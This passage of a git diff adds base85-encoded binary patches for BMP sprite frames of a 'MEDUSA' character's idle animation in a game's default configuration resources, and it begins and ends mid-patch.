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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE2.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..52589b1c980563062f66f40e31054d308f2fc599 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE20.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE20.bmp new file mode 100644 index 0000000000000000000000000000000000000000..182c193de325de3cb976ac63cb1160cda506d181 GIT binary patch literal 18462 zcmd^`2Uru^*7v>bJJ(*0r`eUFG=We8q4y3+NPv()5<*Srz4sYKf33CG-ZN;LY|&rBTjXKA z3;s+${{3aikG%audP|nvTE+k4?SK{X|IPBhiIv0QEG)1W;E&DzTmaY)d)VCFY}o$% zr+;hve+Mg{^7DrC`GEWLo&U}4KZ6z8wb-hM+f&GK7KT9Y-|+aAYYu}^UA-o{fAiLQaqaZ#b*A_6@Kd{I0GCG zYpC$%&6~KG1Q$k7py%PJ;8QH8sD!wE&!2bZ{YCd{Yv`^TR@7`Sf8XA^>(|mxX41*txhZvpSq-;ubalO)>h76-aJRd>pe@Mjn60%>`I*+N z<2Q0rZs(r3lb3ck``9gaX3*61#<5`l82;=UN|@G(9-m{IIy=$@!knE4?pjUv^&Y?YuJ3UHg9M?&NqA zXSThgwerEOyqnju&J`a-NlLmo##ZDt=N!9LS<*Z_g7m%S^bK*|yh9ov4V2_HQY?Ml zoMXyPw*u?w)Vnz+ZlB9(3GzH#R9FHH`*)@NHP+7^qQ3rNd|aHXi+!N4BdAq+Hu=`I z?52jIw#IW!^@R<0&)mCp`u6qg8&@-KT+MuN`^@8}if3&#kDJP$G*@)CUmWPYIWk;7 zHP$pc(K`L1WnrfM?cm*Omrga;m!zhII?#e@3OjRCZf6|1e*aG2;9I2k6}xW`dHISx z{1$;dx#_p`b!-kNl@(+(04U&ciBoQQxrffoO#i#m{tN5k&8n-r>F?voVp1|sM&G%f z)AF#WrJ?xYoq~IHIk&E5LAiY$Hn@~`Z{)T$mUXsYc>biOy}2CL125~w-Zo5*G)|5} zX#&>i@n*nXn10Nef7V!ETz|KKPPIx-C_Q_s9-5zd-og3TZ#Z{v z_Qi+gVoexDIgQyMZQ7ljlso5gTfCWj>TcZRN&AbQc+t^*b>o+;e9)J@uLAu2T$z+} z1qYfMiW?uCy;GNS^IGQ3YuO;-?Yf*hH*$d$DDU6Od)ivn-EsL@TQzL-zPK_nd>{A# zZervS6xf&=Z=U(kGB?pWKlONF<_Utl80f!QQnb&?oLZRKn0w-O{>gjUM{nQ1(?9eM zSh>3LSdqQ~&a1)sx{IAw=AQmuhe~pq`O+4gYB&&gE+RY*fEK;%SK+?c`57x8w7Rm! z+6tR>GOneu6z)DxzieRT7myHeZ`Ojj<^x=3`}y{kN)YmO|Lv)hP|jO7Z+HE zklvn|)9KfA)kzS)^3(2}J^?m-yEv=Kn&=AsG0)w84(VUOeev}ZD<3o?BZF>(y>la{ zslMoDZN}~ES-+&r;ZuT&V6i~?;_3N!LwCVAx$ek=c{w@xglu7ccuz$^Mmj@Y-xAIg7BgsswnwG+ZstOqyi=F^ zIVe!xyLlS41W=#^yM>?wh=BD;LM|eYl8X)&%bsat&phVLwS$i$>`sK;&0gr@aNa(w zuO^z>mT+D076hh}%*MpJg{!=1swVb15$^3@%DgETe_=xULYqVkHe8&4g%Sy}Sv z!-s`{py<53ysyVyvINWkmagtz5*gcYxA1OV4p`|TC2YV~u;k{3l8(nU5M8^TT^@Z? z4}4Q&P`E*di#Wj*5)kJmp|tTp+c|S!v`;w;9URUJ4$_TqdKTt;5M(AkE+WYDNNH}{ zne_UClMha(+^i{VQ&BMVbxj-`L|zSkblF99UkGJ03xrm1N}yac z)cL8Fg=q-0AY>a?$hoH+FxrLZTsb*i9HfWMdCBJVayY|p-*(v3JV2iGLst*)DLb*R 